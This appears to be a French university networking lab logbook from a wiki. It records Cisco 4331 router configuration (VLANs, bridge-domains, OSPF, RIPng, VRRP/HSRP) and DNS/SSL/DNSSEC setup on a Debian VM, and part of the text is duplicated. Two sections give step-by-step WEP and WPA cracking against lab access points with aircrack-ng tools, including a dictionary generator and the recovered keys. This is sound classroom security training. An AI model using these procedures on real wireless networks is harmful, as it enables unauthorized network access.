Durant cette semaine, nous avons réalisés la configuration locale du routeur (configuration des VLANs). 
Comme le 4331 est une nouvelle génération de routeur encore non utilisée en TP de PRA, nous devons apprendre comment l'utiliser. 
=====Configuration générale=====
Communication: '''Série 9800 Bauds 8 bits sans parité sans contrôle de flux'''. 
Lors de sa première mise en route, nous devons effectuer sa configuration générale : 
<pre> hostname cisco config hostname
enable secret reverse </pre>
Puis ensuite, nous pouvons passer à la configuration des VALNs.
=====Configuration des VLANs =====
Nous avons 12 VLANs à configurer : 
<ul>
<li> 11 VLANs (2-11) : VLAN correspondant aux différents groupes.</li>
<li> 1 VLAN (12) : VLAN des Machines virtuelles. Permet la communication entre Cordouan et les Commutateurs</li>
<li> 1 VLAN (13) : VLAN d'interconnexion. Permet la communication entre le routeur local et le routeur de l'école</li></ul>
Sur l'interface physique du 4331, il y a 3 interfaces:
<ul>
<li> Gi 0/0/0 : disponible en cuivre et en fibre</li>
<li> Gi 0/0/1: disponible en cuivre</li>
<li> Gi 0/0/2: disponible en fibre</li></ul>

Nous devons connecter notre routeur aux 2 commutateurs 6006 prévus dans l'architecture du TP. Pour cela, il faut que les 2 commutateurs aient les mêmes informations. Pour cela, nous devons créer des '''bridge-domain'''. Des bridge-domain permettent de rassembler 2 sous interfaces de 2 interfaces différentes pour qu'elles aient la même IP. L'interface principale n'aura pas d'adresse IP, les sous interfaces non plus, l'adresse IP sera placé sur le bridge-domain. 
Exemple: '''VLAN2 : Gi 0/0/0.2 et Gi 0/0/1.2 seront dans le même bridge-domain 2''' 

Les 4331 étant une nouvelle génération de routeur encore non testée à l'école, il fallait apprendre à s'en servir. 
La plupart des commandes CISCO de base restent inchangées. Cependant, la création des sous interfaces a changée. Avant, nous devions créer des interfaces comme suit:
<pre> interface GigabitEthernet 0/0/0.X </pre>
Avec le nouvel IOS (IOS ISR), nous ne pouvons pas créer des sous interfaces comme ci-dessus dans le but de les mettre dans un bridge.
Nous devons passer par une nouvelle commande qui s'appelle '''service instance''' :
<pre> int gi 0/0/0
service instance <n°VLAN> ethernet </pre>
Ainsi, nous avons la sous interface numéro 2 de l'interface principale 0/0/0. 
Nous pouvons alors créer nous sous interfaces:
<pre> int gi0/0/0
no ip address
negociation auto
service instance 2 ethernet
encapsulation dot1q 2
bridge-domain 2

service instance 3 ethernet
encapsulation dot1q 3
bridge-domain 3
...</pre>
<pre> int gi0/0/1
no ip address
negociation auto
service instance 2 ethernet
encapsulation dot1q 2
bridge-domain 2
...</pre>
Ainsi, nos sous interfaces sont crées et sont placés dans les différents bridge domain. 

=====Configuration des bridge-domain=====
Afin d'allouer des IP aux différents bridge domain, il faut prévenir le routeur que nous utilisons des bridge-domain: 
<pre> bridge irb </pre>
Ensuite, nous devons préciser quel protocole nous devons utiliser et si les adresses IP des bridge domain seront des adresses routées : 
<pre> bridge 2 protocol ieee
bridge 2 route ip</pre>
Enfin, nous pouvons allouer des IP aux différents bridge domain : 
<pre>int BDI2
ip address 10.60.2.1 255.255.255.0</pre>

Et nous répétons ces opérations pour tous les bridge-domain. 
Afin de tester si notre configuration locale est correcte, nous devons racker notre routeur, le connecter à un des 6006, puis connecter le 6006 à Cordouan (groupe BONDING). Ainsi, nous pourrons voir si nous pouvons ping notre routeur depuis notre VM.

====Travail réalisé la 3e semaine====
=====Test 1=====
Cette semaine, nous avons testés la configuration locale de notre routeur. Nous avons donc tentés de ping le routeur depuis notre VM. 
Pour tester, nous avons besoin d'un port disponible sur CORDOUAN qui est dans le bridge IMA5sc. 
Après des essais laborieux, nous décidons donc de regarder les adresses MAC des ports afin de les rassembler. Si 4 ports ont le même radical MAC, c'est qu'ils font partis d'un groupe de 4. Nous avons donc choisis '''eth4'''. 
Ensuite, il fallait trouver le port physique correspondant a eth4. '''Grâce au fichier /etc/udev/rules.d/70-persistence-net.rules''', on peut voir l'association du port physique à l'interface. Voici l'extrait qui nous intéresse: 
<pre># PCI device 0x14e4:0x1657 (tg3)
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:0a:f7:54:36:40", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth4"
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:0a:f7:54:36:41", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth5"
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:0a:f7:54:36:42", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth6"
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:0a:f7:54:36:43", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth7"</pre>
 
On voit bien que eth4 est dans un groupe de 4 ports, ce qui restreint nos choix. Ensuite, on sait que c'est le plus petit des 4 interfaces. Logiquement, ce sera le 1er du groupe. 
On connecte donc ce port au commutateur sur un port qui appartient au VLAN des VM. On connecte ensuite notre routeur au commutateur via un port trunk. 
'''Premier essai: FAIL''' 
=====Test 2=====
Et là, c'est le drame ... On ne ping rien ... 
On se demande donc d'où cela peut venir. 
======Première cause possible : La configuration de CORDOUAN======
Peut-être que c'est CORDOUAN qui est mal configuré. On se place donc sur CORDOUAN, et grâce à la commande '''cdpr''' (Cisco Discovery Protocol Reporter), on peut demander au serveur de chercher ses voisins et d'avoir la configuration de la liaison avec ce voisin. Voici le résultat de cette commande: 
<pre>cdpr -d eth4
cdpr - Cisco Discovery Protocol Reporter
Version 2.4
Copyright (c) 2002-2010 - MonkeyMental.com

Using Device: eth4
Warning opening device (eth4: no IPv4 address assigned)
Waiting for CDP advertisement:
(default config is to transmit CDP packets every 60 seconds)
Device ID
value: Switch_E306
Addresses
Port ID
value: GigabitEthernet4/13</pre>
On voit bien que CORDOUAN détecte qu'il a une liaison avec le switch qui se trouve en E306 et qu'il est connecté via le port Gi4/13. 
======Deuxième cause possible: Le commutateur======
Peut-être donc que c'est le commutateur qui est mal configuré. On se place donc sur le commutateur, et toujours grâce à la commande '''cdpr''', on peut demander au commutateur de trouver ses voisins. Le résultat de cette commande est la suivante: Le commutateur découvre bien notre routeur (cisco), et sait qu'il est connecté sur le port 4/47 (port trunk).
======Dernière cause possible:Le routeur======
On se dit donc que le problème vient du routeur... 
On regarde donc la configuration du routeur, et Mr REDON nous demande pourquoi on n'a pas créé de VLAN. Les VLAN sont traduits par les service instance dans le nouvel IOS, mais peut-être que nous devons encore définir que les paquets venant/sortant de l'interface générale doivent être encapsulé/décapsulé en DOT1Q. 
Après quelques recherches, une première solution a été de préciser sur l'interface des bridge-domain que les paquets étaient encapsulés en DOT1Q. Solution '''peu logique''' vu que l'encapsulation est déjà faite dans les service instance. 
Après encore quelques recherches, une solution plausible est que '''le routeur ne sait pas qu'il faut dé-encapsuler les paquets venant d'un VLAN'''. Théoriquement, il n'enlèverait pas le tag associé à l'encapsulation DOT1Q. 
Une commande cisco à associer à TOUTES les interfaces service instance permet de préciser qu'il faut supprimer le tag associé à l'encapsulation:
<pre>rewrite ingress tag pop 1 symmetric</pre>
Une fois cette commande appliquée à tous les services, nous pouvons effectuer un test préalable : '''Nous connectons un eeePC au commutateur via un port associé au VLAN des VM. L'eeePC serait muni d'une IP dans le réseau des VM.''' 
Résultat '''OK''' 
Nous pouvons donc tenter de ping le routeur depuis la machine virtuelle : 
<pre>ping 193.48.57.171
PING 193.48.57.171 (193.48.57.171) 56(84) bytes of data.
64 bytes from 193.48.57.171: icmp_seq=1 ttl=255 time=0.360 ms
64 bytes from 193.48.57.171: icmp_seq=2 ttl=255 time=0.271 ms
^C
--- 193.48.57.171 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.271/0.315/0.360/0.047 ms</pre>
Notre configuration locale est donc maintenant achevée. Nous pouvons passer à la configuration de l'interconnexion ipv4 et ipv6 de l'école.

====Travail réalisé la 4e semaine====
=====Configuration IPv6=====
Nous avons donc pu commencer la configuration IPv6 de notre routeur. 
Chaque bridge-domain aura son adresse IP dans le réseau IPv6 de l'école, avec un préfixe débutant à 2001:660:4401:60b0::/64. 
La configuration est la suivante, pour chaque BDI: 
<pre>cisco(config)#int BDI6
cisco(config-if)#ipv6 address 2001:660:4401:60b4::/64 eui-64
cisco(config-if)#ipv6 nd prefix 2001:660:4401:60b4::/64 1000 900
cisco(config-if)#ipv6 nd router-preference high
cisco(config-if)#ipv6 enable</pre>
=====Configuration OSPF (IPv4)=====
Dès notre arrivée, Mr.REDON nous a dit que, pour booster le TP, il avait effectué lui-même la configuration OSPF de notre routeur. La voici: 
<pre>router ospf 1
router-id 10.60.2.1
summary-address 10.60.0.0 255.255.0.0
summary-address 193.48.57.160 255.255.255.240
redistribute connected metric 30 subnets
network 192.168.222.0 0.0.0.7 area 1</pre>
=====Configuration RIP (IPv6)=====
Le protocole RIPv6 est une stratégie de routage pour IPv6. Ce protocole est configuré pour le BDI130 (correspondant au VLAN130 d'interconnexion des routeurs de l'école). La configuration de RIP est la suivante: 
<pre>ipv6 router rip tpima5sc
redistribute connected metric 1
redistribute static metric 1
redistribute rip 1 metric 1</pre>
La prise en compte du protocole RIP dans la BDI130 est la suivante: 
<pre>interface BDI130
ip address 192.168.222.1 255.255.255.248
ipv6 address 2001:660:4401:60AA::/64 eui-64
ipv6 enable
ipv6 nd prefix 2001:660:4401:60AA::/64 1000 900
ipv6 nd router-preference High
ipv6 rip tpima5sc enable</pre>
Pour confirmer notre résultat, nous regardons la table de routage IPv6: 
<pre> cisco#sh ipv6 route
IPv6 Routing Table - default - 65 entries
Codes: C - Connected, L - Local, S - Static, U - Per-user Static route
B - BGP, R - RIP, I1 - ISIS L1, I2 - ISIS L2
IA - ISIS interarea, IS - ISIS summary, D - EIGRP, EX - EIGRP external
ND - ND Default, NDp - ND Prefix, DCE - Destination, NDr - Redirect
O - OSPF Intra, OI - OSPF Inter, OE1 - OSPF ext 1, OE2 - OSPF ext 2
ON1 - OSPF NSSA ext 1, ON2 - OSPF NSSA ext 2, a - Application
R ::/0 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:60::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6000::/56 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6002::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6003::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6004::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6005::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6006::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130</pre>
Notre routeur détecte les routeurs de l'école, notre configuration est donc achevée. 
=====Configuration VRRP=====
Le VRRP est un protocole de redondance. Une adresse IP virtuelle (IP flottante) est montée sur 1 des 2 routeurs. Si le routeur sur laquelle est montée l'IP flottante tombe, l'IP est montée sur l'autre routeur. De plus, les machines pourront envoyer les paquets vers l'adresse IP virtuelle, et le VRRP dispatchera les paquets entre les 2 routeurs. 
Voici la configuration VRRP de notre routeur: 
<pre>interface BDI2
ip address 10.60.2.1 255.255.255.0
ipv6 address 2001:660:4401:60B0::/64 eui-64
ipv6 enable
ipv6 nd prefix 2001:660:4401:60B0::/64 1000 900
ipv6 nd router-preference High
vrrp 1 ip 10.60.2.3
vrrp 1 priority 110</pre>
10.60.X.1 est l'espace des adresses IP de notre routeur (4331), 10.60.X.2 est l'espace des adresses IP du routeur 3560E, donc 10.60.X.3 est l'espace des adresses IP flottantes, X représente le numéro du BDI. 
Nous pouvons voir si notre configuration VRRP est effective : 
<pre>cisco#sh vrrp
BDI12 - Group 1
State is Master
Virtual IP address is 193.48.57.173
Virtual MAC address is 0000.5e00.0101
Advertisement interval is 1.000 sec
Preemption enabled
Priority is 110
Master Router is 193.48.57.171 (local), priority is 110
Master Advertisement interval is 1.000 sec
Master Down interval is 3.570 sec

BDI2 - Group 1
State is Master
Virtual IP address is 10.60.2.3
Virtual MAC address is 0000.5e00.0101
Advertisement interval is 1.000 sec
Preemption enabled
Priority is 110
Master Router is 10.60.2.1 (local), priority is 110
Master Advertisement interval is 1.000 sec
Master Down interval is 3.570 sec
</pre>
Cependant, même si notre configuration VRRP est bonne, nous n'arrivons pas à ping 193.48.57.173, qui représente l'adresse IP virtuelle montée sur le bridge-domain des VM. 

=====Craquage de clé WEP=====
On bascule d’abord la carte en mode monitor :
<pre> airmon-ng start xxxxxxxx </pre>
Ensuite on scan tous les réseaux wifi captés par cette même carte :
<pre> airodump-ng –encrypt wep wlan 0 </pre>
On obtient :
<pre>
CH 13 ][ Elapsed: 4 s ][ 2016-03-08 10:32

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

44:AD:D9:5F:87:00 -44 2 0 0 11 54e. WEP WEP Wolverine
04:DA:D2:9C:50:53 -66 2 0 0 13 54e. WEP WEP cracotte04
04:DA:D2:9C:50:55 -70 2 91 35 13 54e. WEP WEP cracotte06
04:DA:D2:9C:50:51 -69 4 33 13 13 54e. WEP WEP cracotte02
04:DA:D2:9C:50:57 -67 3 44 19 13 54e. WEP WEP cracotte08
04:DA:D2:9C:50:56 -69 2 38 11 13 54e. WEP WEP cracotte07
04:DA:D2:9C:50:54 -68 2 37 14 13 54e. WEP WEP cracotte05
04:DA:D2:9C:50:58 -70 2 175 70 13 54e. WEP WEP cracotte09
04:DA:D2:9C:50:50 -68 0 142 52 13 -1 WEP WEP <length: 0>
04:DA:D2:9C:50:52 -70 2 171 64 13 54e. WEP WEP cracotte03

BSSID STATION PWR Rate Lost Frames Probe

04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -66 0 - 9e 1160 50
04:DA:D2:9C:50:51 00:0F:B5:92:24:51 -62 0 -48e 34 7
04:DA:D2:9C:50:57 00:0F:B5:92:22:66 -64 0 - 6e 31 6
04:DA:D2:9C:50:56 00:0F:B5:92:23:71 -66 0 -48e 60 6
04:DA:D2:9C:50:54 00:0F:B5:92:23:74 -70 0 -24e 52 11
04:DA:D2:9C:50:58 00:0F:B5:92:23:69 -62 0 -48e 12 140
</pre>

Ici nous avons choisi cracotte06 comme wifi cible. On récupère donc son BSSID : 04 :DA :D2 :9C :50 :55 sur le channel 13 
On surveille uniquement notre cible pour s'assurer qu'une machine s'y connecte bien :
<pre> airodump-ng –w out –c 13 –bssid 04 :DA :D2 :9C :50 :55 wlan0 </pre> 
Pour le craquage, il faut au préalable surchargé de requête ARP le réseau cible pour récupérer un maximum de trame d’échanges.
<pre> aireplay-ng -3 –e cracotte06 –a 04 :DA :D2 :9C :50 :55 –b 04 :DA :D2 :9C :50 :55 –h 00:0F:B5:92:23:6B –x 1000 –n out-ox.cap wlan0 </pre>
Une fois un nombre de trame récupéré assez conséquent, on lance l’utilitaire : <pre>aircarck-ng out_ox.cap</pre> avec out_ox.cap le fichier de sauvegarde contenant toutes les trames ARP récupérées.

On a alors réussi notre craquage au bout de quelque minutes :
<pre>
Aircrack-ng 1.2 beta3

[00:00:01] Tested 785 keys (got 1349085 IVs)

KB depth byte(vote)
0 0/ 2 EE(1862400) 75(1396736) DB(1392128) FF(1388544) 50(1387520)
1 1/ 4 DD(1419264) 1B(1397504) 2C(1392128) 54(1387776) 26(1385728)
2 47/ 2 DB(1365760) 38(1364736) 00(1364480) 22(1364480) 82(1364480)
3 1/ 2 26(1407488) 2C(1390592) 65(1387520) F0(1387520) FE(1387520)
4 4/ 4 F6(1383168) CD(1382656) 7E(1381376) F0(1380096) 58(1379840)

KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ]
Decrypted correctly: 100%
</pre>

====Travail réalisé la 5ème semaine ====
=====Configuration HSRP=====
Le VRRP n'était pas compatible sur le routeur du groupe 6 (3560E) à cause de la trop faible version de 'IOS Cisco. Du coup, il nous a été demandé de mettre en place le protocole en dessous de VRRP, HSRP. 
Le protocole HSRP fonctionne comme le VRRP, et s'implémente, par BDI, comme suit: 
<pre>Sstandby 1 ip 10.60.X.3
standby 1 preempt
standby 1 priority 100</pre>

Il fallait aussi que notre routeur soit connecté au 2e commutateur via une liaison fibre en mode trunk. Ainsi, nous pouvons voir, dans ce qui suit, que le routeur maitre est le routeur 3560E, et que nous sommes en standby ! 
<pre>BDI2 - Group 1 (version 2)
State is Standby
7 state changes, last state change 00:01:16
Virtual IP address is 10.60.2.3
Active virtual MAC address is 0000.0c9f.f001 (MAC Not In Use)
Local virtual MAC address is 0000.0c9f.f001 (v2 default)
Hello time 3 sec, hold time 10 sec
Next hello sent in 0.128 secs
Preemption enabled
Active router is 10.60.2.2, priority 110 (expires in 8.784 sec)
MAC address is d4d7.4842.53c1
Standby router is local
Priority 100 (default 100)
Group name is "Vlan2" (cfgd)</pre>
=====Craquage clé WPA =====

Pour ce craquage, nous avons gardé la même cible, c'est à dire cracotte06. Il faut encore ici s'assurer qu'une machine est connecté à cette borne.
Pour le craquage WPA, il nous faut 2 éléments : 
- Un fichier d'échange contenant le handshake 
- Un dictionnaire contenant toutes les possibilités de valeur que peut avoir la clé.

Ici nous avons simplement récupéré le handshake grâce à la commande d'écoute de la borne :
<pre> airodump-ng -w out --encrypt wpa -c 13 --04 :DA :D2 :9C :50 :55 wlan0 </pre>

Grâce à l'option -w out, il nous a créée un fichier stockant le hanshake.

En parallèle nous avons généré le fichier txt jouant le rôle de dictionnaire, à l'aide d'un programme C.

<pre>
#include <stdio.h>
#include <stdlib.h>

int main(){
FILE *fp=fopen("dico.txt","w+");
int i =0;
for(i=0;i<=99999999;i++){
fprintf(fp,"%08d\n",i);
}
return 0;
}
</pre>

Finalement on utilise l'utilitaire aircrack avec en paramètre le fichier de sauvegarde contenant le handshake ainsi que le fichier texte dictionnaire :
<pre> aircrack-ng -w dico.txt dump-02.cap </pre>
On obtient avec succès au bout de quelque minutes :
<pre>
Aircrack-ng 1.2 beta3

[01:01:47] 12399904 keys tested (3519.77 k/s)

KEY FOUND! [ 12399907 ]

Master Key : F5 4A 19 53 7C DB 88 D1 D0 21 3B FD FF 5F EF CD
D0 DE 05 F5 0F DB 08 79 85 16 17 8B E0 E4 6B 23

Transient Key : 25 94 12 1B 71 2C 49 01 10 44 34 8A 8A 74 36 47
7B 1C D8 3D 77 A5 9B 9D 74 44 DC C7 5F 55 D7 0B
2B 29 83 CC FC 08 7E DF BF A6 B7 76 AF BA D5 8A
07 F0 61 B1 02 3A 56 B2 A2 03 CD 80 20 14 3E D8

EAPOL HMAC : CF 04 96 3D DC 43 B4 D1 0E D5 0F B5 78 2F 57 C9
</pre>
=====Configuration DNS=====
Dans un premier temps, nous réservons sur Gandi notre nom de domaine : speedflash.space 
Ensuite, nous installons les paquets bind9, ainsi que apache2. 
Nous configurons les fichiers nécessaires à la bonne marche du serveur DNS à savoir les fichiers named.conf.local (autorisation de transfert de paquets vers le DNS esclave - Utilisation du bon fichier de zone), puis db.speedflash.space (fichier de zone) 
Voici la configuration de ces 2 fichiers : 
named.conf.local : 
<pre>zone "speedflash.space" {
type master;
file "/etc/bind/db.speedflash.space";
allow-transfer {217.70.177.40;};
};</pre>
217.70.177.40 est l'adresse IP du serveur DNS de Gandi (ns6.gandi.net) que nous avons pris pour serveur esclave. 
db.speedflash.space: 
<pre>;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.speedflash.space. root.speedflash.space (
2 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.speedflash.space.
ns IN A 193.48.57.165
www IN A 193.48.57.165
</pre>
Nous déclarons que notre DNS (ns) est à l'adresse 193.48.57.165, soit l'IP de notre VM. 
Ensuite, pour faire fonctionner le tout, on relance bind : <pre> service bind9 restart </pre> 
Et à l'aide du fichier de log daemon.log, on peut confirmer que bind s'est lancé sans erreur : 
<pre>tail /var/log/daemon.log | grep named
Nov 17 11:52:37 Flash named[1798]: command channel listening on ::1#953
Nov 17 11:52:37 Flash named[1798]: managed-keys-zone: journal file is out of date: removing journal file
Nov 17 11:52:37 Flash named[1798]: managed-keys-zone: loaded serial 3
Nov 17 11:52:37 Flash named[1798]: zone 0.in-addr.arpa/IN: loaded serial 1
Nov 17 11:52:37 Flash named[1798]: zone speedflash.space/IN: loaded serial 2
Nov 17 11:52:37 Flash named[1798]: zone 127.in-addr.arpa/IN: loaded serial 1
Nov 17 11:52:37 Flash named[1798]: zone 255.in-addr.arpa/IN: loaded serial 1
Nov 17 11:52:37 Flash named[1798]: zone localhost/IN: loaded serial 2
Nov 17 11:52:37 Flash named[1798]: all zones loaded
Nov 17 11:52:37 Flash named[1798]: running</pre>

=====Securisation de site par SSL=====
Afin d'obtenir un certificat SSL par Gandi, nous avons besoin d'un CSR. Nous générons donc le CSR par la commande : 
<pre>openssl req -nodes -newkey rsa:2048 -sha1 -keyout serveur.key -out serveur.csr</pre>
Nous fournissons ce CSR à Gandi, puis nous attendons d'avoir notre certificat. Une fois le certificat obtenu, on peut copier les bons fichiers dans SSL : 
<pre>root@Flash:/etc/bind# cp certificat.crt /etc/ssl/certs/speedflash.space.crt
root@Flash:/etc/bind# cp serveur.key /etc/ssl/private/speedflash.space.key
root@Flash:/etc/bind# cp GandiStandardSSLCA.pem /etc/ssl/certs/GandiStandardSSLCA.pem</pre>
GandiStandardSSLCA.pem est un certificat intermédiaire afin de certifier notre certificat. 
Ensuite, nous re-hashons toute la structure afin de prendre en compte notre certificat : 
<pre>
root@Flash:/etc/bind# c_rehash /etc/ssl/certs
Doing /etc/ssl/certs
speedflash.space.crt => ac112f31.0
speedflash.space.crt => a88e5e47.0
GandiStandardSSLCA.pem => 0cad7ee9.0
GandiStandardSSLCA.pem => 3a57595e.0
ssl-cert-snakeoil.pem => 816e77e4.0
ssl-cert-snakeoil.pem => de4674a3.0</pre>
Il faut modifier le fichier 000-speedflash.space-ssl.conf afin d'associer APACHE et notre nom de serveur : 
<pre>NameVirtualHost *:443
<VirtualHost 193.48.57.165:443>
ServerName www.speedflash.space
ServerAlias speedflash.space
DocumentRoot /var/www/www.speedflash.space/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/speedflash.space.crt
SSLCertificateKeyFile /etc/ssl/private/speedflash.space.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA.pem
SSLVerifyClient None
</VirtualHost></pre>
Il faut activer le module SSL de Apache : <pre> a2modssl</pre> 
Nous pouvons donc activer notre Apache avec notre certificat : 
<pre>root@Flash:/etc/bind# a2ensite 000-speedflash.space-ssl.conf
Enabling site 000-speedflash.space-ssl.
root@Flash:/etc/bind# service apache2 reload</pre>
Nous pouvons vérifier que le site est sécurisé en allant sur https://www.speedflash.space et en voyant le cadenas vert. 
=====Securisation de DNS par DNSSEC=====
Il faut générer les clés .key et .private afin de pouvoir signer les zones et les enregistrements. 
<pre> dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE speedflash.space </pre>
<pre> dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE speedflash.space </pre>
l'option -r /dev/urandom est ici pour accélérer la génération des clés 
Nous incluons les clés dans le fichier de zone db.speedflash.space : 
<pre>$include /etc/bind/speedflash.space.dnssec/speedflash.space-ksk.key
$include /etc/bind/speedflash.space.dnssec/speedflash.space-zsk.key</pre>
On signe donc la zone : 
<pre>root@Flash:/etc/bind/speedflash.space.dnssec# dnssec-signzone -o speedflash.space -k speedflash.space-ksk ../db.speedflash.space speedflash.space-zsk
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked
../db.speedflash.space.signed</pre>
On ajoute le DNSSEC à Gandi : 
[[Fichier:Dns-gandi.png]] 
On vérifie que notre DNS est bien sécurisé en essayant la commande : 
<pre>root@Flash:/etc/bind# dig DNSKEY speedflash.space @localhost

; <<>> DiG 9.9.5-9+deb8u8-Debian <<>> DNSKEY speedflash.space @localhost
;; global options: +cmd
;; Got answer:
;; ->>HEADER<;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;speedflash.space. IN DNSKEY

;; ANSWER SECTION:
speedflash.space. 604800 IN DNSKEY 257 3 5 AwEAAaJcjim9pdD8U6InsiCNFzJthDwsiwGgPylxRp5nDuoaGrcDp1LU psBv0iY0VUqzcC+uRhTTfjl6P3yuPsnZYefVlSEeRpn9QR33Hioadbhc aFSuYnfwS/L/R6Kwt2XFz5V/fI/j+M2AtGxhBFgVKtmjvnwEr2VfdkFl d9AZJQu09ajWCJIKeL2dRE5bPbXwkDilgkQkBZUVWtXN7qwnrFnlszpb gSdRKosfhScAUmTerxOV6WybzOYb+9D0r8QrDoIhhCpf1/gczAUzHPWd hb0rxIGHk6seMp1qTotZE3SgxrCwm7H6z4pcXeMfbdNzkrIgcJmum9i0 zsLzlghkAPM=
speedflash.space. 604800 IN DNSKEY 256 3 5 AwEAAcHrx5vtsGzY7LF32x3HRIXRwOBm3WZM02NHY4s0uB2djn6tV52B ss78iXC4O5hdpJ0uOxS0/MNCYNJkIXnWsvAHc6lbdWfQ8Jvnj/aBMz94 agXbxXkseqjlIcF1huspBAi9lcY5hsy59MDek5iNlduy8HK6AVItqeQi HviShcq3</pre>
On remarque bien la présence de DNSKEY qui nous assure que notre DNS est sécurisé.

Cahier 2016 groupe n°5

2016-11-18T12:38:10Z

Troj : /* Configuration DNS */

== Cahier des charges ==
=== Présentation du travail ===

==== Répartition du travail ====

{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (03/10)
| Recherche sur le routeur 4331. Installation de la machine virtuelle, définition de l'architecture réseau.
|-
! scope="row" | Séance 2 (10/10)
| Création des VLAN - Bridge
|-
! scope="row" | Séance 3 (13/10)
| Création des VLAN - Bridge
|-
! scope="row" | Séance 4 (24/10)
| Test de la configuration locale
|-
! scope="row" | Séance 5 (07/11)
| Configuration OSPF - Configuration locale IPv6 - Configuration RIP - Configuration VRRP - Cassage de clé WEP
|-
! scope="row" | Séance 6 (17/11 - additionnel)
| Protocole HSRP - Cassage de clé WPA - Configuration DNS - Securisation de site par SSL - Securisation de DNS par DNSSEC - LVM/RAID5
|-
! scope="row" | Séance 7 (28/11)
|
|-
! scope="row" | Séance 8 (12/12)
|
|-
|}

====Travail réalisé la 1ère semaine ====

Pour cette première séance nous avons d'abord installé la machine virtuelle Xen grâce à la commande :
<pre>
xen-create-image --hostname=Flash --ip=193.48.57.165 --netmask=255.255.255.240 gateway=193.48.57.171
--dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --passwd
</pre>
Ainsi, nous obtenons ce résultat:
<pre>
Installation Summary
---------------------
Hostname : Flash
Distribution : jessie
MAC Address : 00:16:3E:49:8F:E5
IP Address(es) : 193.48.57.165
RSA Fingerprint : 5c:89:1c:49:cf:d1:a0:a3:9b:ff:0c:d1:f7:33:82:db
Root Password : N/A
</pre>

==== Travail réalisé la 2e semaine (2 séances) ====
Durant cette semaine, nous avons réalisés la configuration locale du routeur (configuration des VLANs). 
Comme le 4331 est une nouvelle génération de routeur encore non utilisée en TP de PRA, nous devons apprendre comment l'utiliser. 
=====Configuration générale=====
Communication: '''Série 9800 Bauds 8 bits sans parité sans contrôle de flux'''. 
Lors de sa première mise en route, nous devons effectuer sa configuration générale : 
<pre> hostname cisco config hostname
enable secret reverse </pre>
Puis ensuite, nous pouvons passer à la configuration des VALNs.
=====Configuration des VLANs =====
Nous avons 12 VLANs à configurer : 
<ul>
<li> 11 VLANs (2-11) : VLAN correspondant aux différents groupes.</li>
<li> 1 VLAN (12) : VLAN des Machines virtuelles. Permet la communication entre Cordouan et les Commutateurs</li>
<li> 1 VLAN (13) : VLAN d'interconnexion. Permet la communication entre le routeur local et le routeur de l'école</li></ul>
Sur l'interface physique du 4331, il y a 3 interfaces:
<ul>
<li> Gi 0/0/0 : disponible en cuivre et en fibre</li>
<li> Gi 0/0/1: disponible en cuivre</li>
<li> Gi 0/0/2: disponible en fibre</li></ul>

Nous devons connecter notre routeur aux 2 commutateurs 6006 prévus dans l'architecture du TP. Pour cela, il faut que les 2 commutateurs aient les mêmes informations. Pour cela, nous devons créer des '''bridge-domain'''. Des bridge-domain permettent de rassembler 2 sous interfaces de 2 interfaces différentes pour qu'elles aient la même IP. L'interface principale n'aura pas d'adresse IP, les sous interfaces non plus, l'adresse IP sera placé sur le bridge-domain. 
Exemple: '''VLAN2 : Gi 0/0/0.2 et Gi 0/0/1.2 seront dans le même bridge-domain 2''' 

Les 4331 étant une nouvelle génération de routeur encore non testée à l'école, il fallait apprendre à s'en servir. 
La plupart des commandes CISCO de base restent inchangées. Cependant, la création des sous interfaces a changée. Avant, nous devions créer des interfaces comme suit:
<pre> interface GigabitEthernet 0/0/0.X </pre>
Avec le nouvel IOS (IOS ISR), nous ne pouvons pas créer des sous interfaces comme ci-dessus dans le but de les mettre dans un bridge.
Nous devons passer par une nouvelle commande qui s'appelle '''service instance''' :
<pre> int gi 0/0/0
service instance <n°VLAN> ethernet </pre>
Ainsi, nous avons la sous interface numéro 2 de l'interface principale 0/0/0. 
Nous pouvons alors créer nous sous interfaces:
<pre> int gi0/0/0
no ip address
negociation auto
service instance 2 ethernet
encapsulation dot1q 2
bridge-domain 2

service instance 3 ethernet
